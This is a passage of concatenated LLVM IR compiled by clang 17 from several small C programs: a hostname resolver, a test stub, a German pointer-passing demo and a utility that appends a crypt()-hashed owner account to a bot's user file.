%27 = getelementptr inbounds %struct.hostent, ptr %26, i32 0, i32 0 %28 = load ptr, ptr %27, align 8 %29 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, ptr noundef %28) store i32 0, ptr %7, align 4 br label %30 30: ; preds = %39, %25 %31 = load ptr, ptr %6, align 8 %32 = getelementptr inbounds %struct.hostent, ptr %31, i32 0, i32 2 %33 = load ptr, ptr %32, align 8 %34 = load i32, ptr %7, align 4 %35 = zext i32 %34 to i64 %36 = getelementptr inbounds ptr, ptr %33, i64 %35 %37 = load ptr, ptr %36, align 8 %38 = icmp ne ptr %37, null br i1 %38, label %39, label %60 39: ; preds = %30 %40 = load ptr, ptr %6, align 8 %41 = getelementptr inbounds %struct.hostent, ptr %40, i32 0, i32 1 %42 = load ptr, ptr %41, align 8 %43 = load i32, ptr %7, align 4 %44 = zext i32 %43 to i64 %45 = getelementptr inbounds ptr, ptr %42, i64 %44 %46 = load ptr, ptr %45, align 8 %47 = load ptr, ptr %6, align 8 %48 = getelementptr inbounds %struct.hostent, ptr %47, i32 0, i32 2 %49 = load ptr, ptr %48, align 8 %50 = load i32, ptr %7, align 4 %51 = zext i32 %50 to i64 %52 = getelementptr inbounds ptr, ptr %49, i64 %51 %53 = load ptr, ptr %52, align 8 %54 = getelementptr inbounds %struct.in_addr, ptr %53, i32 0, i32 0 %55 = load i32, ptr %54, align 4 %56 = call ptr @inet_ntoa(i32 %55) %57 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, ptr noundef %46, ptr noundef %56) %58 = load i32, ptr %7, align 4 %59 = add i32 %58, 1 store i32 %59, ptr %7, align 4 br label %30, !llvm.loop !6 60: ; preds = %30 %61 = call i32 (ptr, ...) @printf(ptr noundef @.str.4) br label %62 62: ; preds = %60, %23 %63 = load i32, ptr %3, align 4 ret i32 %63 } declare i32 @printf(ptr noundef, ...) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 declare ptr @gethostbyname(ptr noundef) #1 declare ptr @inet_ntoa(i32) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmplhps7yn1.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.hostent = type { ptr, ptr, ptr } %struct.in_addr = type { i32 } @.str = private unnamed_addr constant [20 x i8] c"Usage: %s hostname\0A\00", align 1 @.str.1 = private unnamed_addr constant [24 x i8] c"gethostbyname() failed\0A\00", align 1 @.str.2 = private unnamed_addr constant [5 x i8] c"%s:\0A\00", align 1 @.str.3 = private unnamed_addr constant [21 x i8] c"alias: %s , addr:%s\0A\00", align 1 @.str.4 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %8 = load i32, ptr %4, align 4 %9 = icmp slt i32 %8, 2 br i1 %9, label %10, label %16 10: ; preds = %2 %11 = load ptr, ptr %5, align 8 %12 = getelementptr inbounds ptr, ptr %11, i64 0 %13 = load ptr, ptr %12, align 8 %14 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %13) %15 = call i32 @exit(i32 noundef -1) #3 unreachable 16: ; preds = %2 %17 = load ptr, ptr %5, align 8 %18 = getelementptr inbounds ptr, ptr %17, i64 1 %19 = load ptr, ptr %18, align 8 %20 = call ptr @gethostbyname(ptr noundef %19) store ptr %20, ptr %6, align 8 %21 = load ptr, ptr %6, align 8 %22 = icmp eq ptr %21, null br i1 %22, label %23, label %25 23: ; preds = %16 %24 = call i32 (ptr, ...) @printf(ptr noundef @.str.1) br label %69 25: ; preds = %16 %26 = load ptr, ptr %6, align 8 %27 = getelementptr inbounds %struct.hostent, ptr %26, i32 0, i32 0 %28 = load ptr, ptr %27, align 8 %29 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, ptr noundef %28) store i32 0, ptr %7, align 4 %30 = load ptr, ptr %6, align 8 %31 = getelementptr inbounds %struct.hostent, ptr %30, i32 0, i32 2 %32 = load ptr, ptr %31, align 8 %33 = load i32, ptr %7, align 4 %34 = zext i32 %33 to i64 %35 = getelementptr inbounds ptr, ptr %32, i64 %34 %36 = load ptr, ptr %35, align 8 %37 = icmp ne ptr %36, null br i1 %37, label %.lr.ph, label %67 .lr.ph: ; preds = %25 br label %38 38: ; preds = %.lr.ph, %38 %39 = load ptr, ptr %6, align 8 %40 = getelementptr inbounds %struct.hostent, ptr %39, i32 0, i32 1 %41 = load ptr, ptr %40, align 8 %42 = load i32, ptr %7, align 4 %43 = zext i32 %42 to i64 %44 = getelementptr inbounds ptr, ptr %41, i64 %43 %45 = load ptr, ptr %44, align 8 %46 = load ptr, ptr %6, align 8 %47 = getelementptr inbounds %struct.hostent, ptr %46, i32 0, i32 2 %48 = load ptr, ptr %47, align 8 %49 = load i32, ptr %7, align 4 %50 = zext i32 %49 to i64 %51 = getelementptr inbounds ptr, ptr %48, i64 %50 %52 = load ptr, ptr %51, align 8 %53 = getelementptr inbounds %struct.in_addr, ptr %52, i32 0, i32 0 %54 = load i32, ptr %53, align 4 %55 = call ptr @inet_ntoa(i32 %54) %56 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, ptr noundef %45, ptr noundef %55) %57 = load i32, ptr %7, align 4 %58 = add i32 %57, 1 store i32 %58, ptr %7, align 4 %59 = load ptr, ptr %6, align 8 %60 = getelementptr inbounds %struct.hostent, ptr %59, i32 0, i32 2 %61 = load ptr, ptr %60, align 8 %62 = load i32, ptr %7, align 4 %63 = zext i32 %62 to i64 %64 = getelementptr inbounds ptr, ptr %61, i64 %63 %65 = load ptr, ptr %64, align 8 %66 = icmp ne ptr %65, null br i1 %66, label %38, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %38 br label %67 67: ; preds = %._crit_edge, %25 %68 = call i32 (ptr, ...) @printf(ptr noundef @.str.4) br label %69 69: ; preds = %67, %23 %70 = load i32, ptr %3, align 4 ret i32 %70 } declare i32 @printf(ptr noundef, ...) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 declare ptr @gethostbyname(ptr noundef) #1 declare ptr @inet_ntoa(i32) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp_y1isa9a.c' source_filename = "/tmp/tmp_y1isa9a.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp_y1isa9a.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp5z_8oxzs.c' source_filename = "/tmp/tmp5z_8oxzs.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @test() #0 { %1 = call i32 (...) @returntest() ret i32 %1 } declare i32 @returntest(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp5z_8oxzs.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @test() #0 { %1 = call i32 (...) @returntest() ret i32 %1 } declare i32 @returntest(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpcj_xqsmv.c' source_filename = "/tmp/tmpcj_xqsmv.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [51 x i8] c"Wert von x vor der Funktion call_by_reference: %d\0A\00", align 1 @.str.1 = private unnamed_addr constant [52 x i8] c"Wert von x nach der Funktion call_by_reference: %d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 5, ptr %2, align 4 %3 = load i32, ptr %2, align 4 %4 = call i32 @basic_pointer(i32 noundef %3) %5 = load i32, ptr %2, align 4 %6 = call i32 @basic_pointer2(i32 noundef %5) %7 = load i32, ptr %2, align 4 %8 = call i32 @basic_pointer_changeValue(i32 noundef %7) %9 = load i32, ptr %2, align 4 %10 = call i32 @printf(ptr noundef @.str, i32 noundef %9) %11 = call i32 @call_by_reference(ptr noundef %2) %12 = load i32, ptr %2, align 4 %13 = call i32 @printf(ptr noundef @.str.1, i32 noundef %12) ret i32 0 } declare i32 @basic_pointer(i32 noundef) #1 declare i32 @basic_pointer2(i32 noundef) #1 declare i32 @basic_pointer_changeValue(i32 noundef) #1 declare i32 @printf(ptr noundef, i32 noundef) #1 declare i32 @call_by_reference(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpcj_xqsmv.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [51 x i8] c"Wert von x vor der Funktion call_by_reference: %d\0A\00", align 1 @.str.1 = private unnamed_addr constant [52 x i8] c"Wert von x nach der Funktion call_by_reference: %d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 5, ptr %2, align 4 %3 = load i32, ptr %2, align 4 %4 = call i32 @basic_pointer(i32 noundef %3) %5 = load i32, ptr %2, align 4 %6 = call i32 @basic_pointer2(i32 noundef %5) %7 = load i32, ptr %2, align 4 %8 = call i32 @basic_pointer_changeValue(i32 noundef %7) %9 = load i32, ptr %2, align 4 %10 = call i32 @printf(ptr noundef @.str, i32 noundef %9) %11 = call i32 @call_by_reference(ptr noundef %2) %12 = load i32, ptr %2, align 4 %13 = call i32 @printf(ptr noundef @.str.1, i32 noundef %12) ret i32 0 } declare i32 @basic_pointer(i32 noundef) #1 declare i32 @basic_pointer2(i32 noundef) #1 declare i32 @basic_pointer_changeValue(i32 noundef) #1 declare i32 @printf(ptr noundef, i32 noundef) #1 declare i32 @call_by_reference(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpofrl17ta.c' source_filename = "/tmp/tmpofrl17ta.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [31 x i8] c"%s <filename> <user> <passwd>\0A\00", align 1 @.str.1 = private unnamed_addr constant [2 x i8] c"a\00", align 1 @.str.2 = private unnamed_addr constant [8 x i8] c"Error: \00", align 1 @.str.3 = private unnamed_addr constant [14 x i8] c"T regs %lu 5\0A\00", align 1 @.str.4 = private unnamed_addr constant [14 x i8] c"T vips %lu 4\0A\00", align 1 @.str.5 = private unnamed_addr constant [13 x i8] c"T ops %lu 3\0A\00", align 1 @.str.6 = private unnamed_addr constant [16 x i8] c"T cheefs %lu 2\0A\00", align 1 @.str.7 = private unnamed_addr constant [16 x i8] c"T admins %lu 1\0A\00", align 1 @.str.8 = private unnamed_addr constant [15 x i8] c"T owner %lu 0\0A\00", align 1 @.str.9 = private unnamed_addr constant [35 x i8] c"Appending new owner %s to file %s\0A\00", align 1 @.str.10 = private unnamed_addr constant [32 x i8] c"A %s %s %lu %lu %lu %s %lu %lu\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca [3 x i8], align 1 %7 = alloca ptr, align 8 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %8 = load i32, ptr %4, align 4 %9 = icmp slt i32 %8, 4 br i1 %9, label %10, label %15 10: ; preds = %2 %11 = load ptr, ptr %5, align 8 %12 = getelementptr inbounds ptr, ptr %11, i64 0 %13 = load ptr, ptr %12, align 8 %14 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str, ptr noundef %13) store i32 0, ptr %3, align 4 br label %132 15: ; preds = %2 %16 = call i32 @time(ptr noundef null) %17 = call i32 @srandom(i32 noundef %16) %18 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 2 store i8 0, ptr %18, align 1 %19 = load ptr, ptr %5, align 8 %20 = getelementptr inbounds ptr, ptr %19, i64 1 %21 = load ptr, ptr %20, align 8 %22 = call ptr @fopen(ptr noundef %21, ptr noundef @.str.1) store ptr %22, ptr %7, align 8 %23 = load ptr, ptr %7, align 8 %24 = icmp ne ptr %23, null br i1 %24, label %27, label %25 25: ; preds = %15 %26 = call i32 @perror(ptr noundef @.str.2) store i32 0, ptr %3, align 4 br label %132 27: ; preds = %15 %28 = load ptr, ptr %7, align 8 %29 = call i64 @ftell(ptr noundef %28) %30 = icmp eq i64 %29, 0 br i1 %30, label %31, label %44 31: ; preds = %27 %32 = load ptr, ptr %7, align 8 %33 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %32, ptr noundef @.str.3, i64 noundef 28160) %34 = load ptr, ptr %7, align 8 %35 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %34, ptr noundef @.str.4, i64 noundef 290305) %36 = load ptr, ptr %7, align 8 %37 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %36, ptr noundef @.str.5, i64 noundef 2911759) %38 = load ptr, ptr %7, align 8 %39 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %38, ptr noundef @.str.6, i64 noundef 2911823) %40 = load ptr, ptr %7, align 8 %41 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %40, ptr noundef @.str.7, i64 noundef 2912223) %42 = load ptr, ptr %7, align 8 %43 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %42, ptr noundef @.str.8, i64 noundef 19689439) br label %52 44: ; preds = %27 %45 = load ptr, ptr %5, align 8 %46 = getelementptr inbounds ptr, ptr %45, i64 2 %47 = load ptr, ptr %46, align 8 %48 = load ptr, ptr %5, align 8 %49 = getelementptr inbounds ptr, ptr %48, i64 1 %50 = load ptr, ptr %49, align 8 %51 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str.9, ptr noundef %47, ptr noundef %50) br label %52 52: ; preds = %44, %31 br label %53 53: ; preds = %81, %52 %54 = call i32 (...) @random() %55 = srem i32 %54, 78 %56 = add nsw i32 %55, 45 %57 = trunc i32 %56 to i8 %58 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 store i8 %57, ptr %58, align 1 br label %59 59: ; preds = %53 %60 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 %61 = load i8, ptr %60, align 1 %62 = zext i8 %61 to i32 %63 = icmp sgt i32 %62, 57 br i1 %63, label %64, label %69 64: ; preds = %59 %65 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 %66 = load i8, ptr %65, align 1 %67 = zext i8 %66 to i32 %68 = icmp slt i32 %67, 65 br i1 %68, label %81, label %69 69: ; preds = %64, %59 %70 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 %71 = load i8, ptr %70, align 1 %72 = zext i8 %71 to i32 %73 = icmp sgt i32 %72, 90 br i1 %73, label %74, label %79 74: ; preds = %69 %75 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 %76 = load i8, ptr %75, align 1 %77 = zext i8 %76 to i32 %78 = icmp slt i32 %77, 97 br label %79 79: ; preds = %74, %69 %80 = phi i1 [ false, %69 ], [ %78, %74 ] br label %81 81: ; preds = %79, %64 %82 = phi i1 [ true, %64 ], [ %80, %79 ] br i1 %82, label %53, label %83, !llvm.loop !6 83: ; preds = %81 br label %84 84: ; preds = %112, %83 %85 = call i32 (...) @random() %86 = srem i32 %85, 78 %87 = add nsw i32 %86, 45 %88 = trunc i32 %87 to i8 %89 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 1 store i8 %88, ptr %89, align 1 br label %90 90: ; preds = %84 %91 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 1 %92 = load i8, ptr %91, align 1 %93 = zext i8 %92 to i32 %94 = icmp sgt i32 %93, 57 br i1 %94, label %95, label %100 95: ; preds = %90 %96 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 1 %97 = load i8, ptr %96, align 1 %98 = zext i8 %97 to i32 %99 = icmp slt i32 %98, 65 br i1 %99, label %112, label %100 100: ; preds = %95, %90 %101 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 1 %102 = load i8, ptr %101, align 1 %103 = zext i8 %102 to i32 %104 = icmp sgt i32 %103, 90 br i1 %104, label %105, label %110 105: ; preds = %100 %106 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 1 %107 = load i8, ptr %106, align 1 %108 = zext i8 %107 to i32 %109 = icmp slt i32 %108, 97 br label %110 110: ; preds = %105, %100 %111 = phi i1 [ false, %100 ], [ %109, %105 ] br label %112 112: ; preds = %110, %95 %113 = phi i1 [ true, %95 ], [ %111, %110 ] br i1 %113, label %84, label %114, !llvm.loop !8 114: ; preds = %112 %115 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 2 store i8 0, ptr %115, align 1 %116 = load ptr, ptr %7, align 8 %117 = load ptr, ptr %5, align 8 %118 = getelementptr inbounds ptr, ptr %117, i64 2 %119 = load ptr, ptr %118, align 8 %120 = load ptr, ptr %5, align 8 %121 = getelementptr inbounds ptr, ptr %120, i64 3 %122 = load ptr, ptr %121, align 8 %123 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 0 %124 = call ptr @crypt(ptr noundef %122, ptr noundef %123) %125 = load ptr, ptr %5, align 8 %126 = getelementptr inbounds ptr, ptr %125, i64 2 %127 = load ptr, ptr %126, align 8 %128 = call i32 @time(ptr noundef null) %129 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %116, ptr noundef @.str.10, ptr noundef %119, ptr noundef %124, i64 noundef 19689439, i32 noundef 0, i32 noundef 0, ptr noundef %127, i32 noundef %128, i32 noundef 0) %130 = load ptr, ptr %7, align 8 %131 = call i32 @fclose(ptr noundef %130) store i32 0, ptr %3, align 4 br label %132 132: ; preds = %114, %25, %10 %133 = load i32, ptr %3, align 4 ret i32 %133 } declare i32 @printf(ptr noundef, ptr noundef, ...) #1 declare i32 @srandom(i32 noundef) #1 declare i32 @time(ptr noundef) #1 declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @perror(ptr noundef) #1 declare i64 @ftell(ptr noundef) #1 declare i32 @fprintf(ptr noundef, ptr noundef, ...) #1 declare i32 @random(...) #1 declare ptr @crypt(ptr noundef, ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpofrl17ta.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [31 x i8] c"%s <filename> <user> <passwd>\0A\00", align 1 @.str.1 = private unnamed_addr constant [2 x i8] c"a\00", align 1 @.str.2 = private unnamed_addr constant [8 x i8] c"Error: \00", align 1 @.str.3 = private unnamed_addr constant [14 x i8] c"T regs %lu 5\0A\00", align 1 @.str.4 = private unnamed_addr constant [14 x i8] c"T vips %lu 4\0A\00", align 1 @.str.5 = private unnamed_addr constant [13 x i8] c"T ops %lu 3\0A\00", align 1 @.str.6 = private unnamed_addr constant [16 x i8] c"T cheefs %lu 2\0A\00", align 1 @.str.7 = private unnamed_addr constant [16 x i8] c"T admins %lu 1\0A\00", align 1 @.str.8 = private unnamed_addr constant [15 x i8] c"T owner %lu 0\0A\00", align 1 @.str.9 = private unnamed_addr constant [35 x i8] c"Appending new owner %s to file %s\0A\00", align 1 @.str.10 = private unnamed_addr constant [32 x i8] c"A %s %s %lu %lu %lu %s %lu %lu\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca [3 x i8], align 1 %7 = alloca ptr, align 8 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %8 = load i32, ptr %4, align 4 %9 = icmp slt i32 %8, 4 br i1 %9, label %10, label %15 10: ; preds = %2 %11 = load ptr, ptr %5, align 8 %12 = getelementptr inbounds ptr, ptr %11, i64 0 %13 = load ptr, ptr %12, align 8 %14 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str, ptr noundef %13) store i32 0, ptr %3, align 4 br label %132 15: ; preds = %2 %16 = call i32 @time(ptr noundef null) %17 = call i32 @srandom(i32 noundef %16) %18 = getelementptr inbounds [3 x i8], ptr %6, i64 0, i64 2 store i8 0, ptr %18, align 1 %19 = load ptr, ptr %5, align 8 %20 = getelementptr inbounds ptr, ptr %19, i64 1 %21 = load ptr, ptr %20, align 8 %22 = call ptr @fopen(ptr noundef %21, ptr noundef @.str.1) store ptr %22, ptr %7, align 8 %23 = load ptr, ptr %7, align 8 %24 = icmp ne ptr %23, null br i1 %24, label %27, label %25 25: ; preds = %15 %26 = call i32 @perror(ptr noundef @.str.2) store i32 0, ptr %3, align 4 br label %132 27: ; preds = %15 %28 = load ptr, ptr %7, align 8 %29 = call i64 @ftell(ptr noundef %28) %30 = icmp eq i64 %29, 0 br i1 %30, label %31, label %44 31: ; preds = %27 %32 = load ptr, ptr %7, align 8 %33 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %32, ptr noundef @.str.3, i64 noundef 28160) %34 = load ptr, ptr %7, align 8 %35 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %34, ptr noundef @.str.4, i64 noundef 290305) %36 = 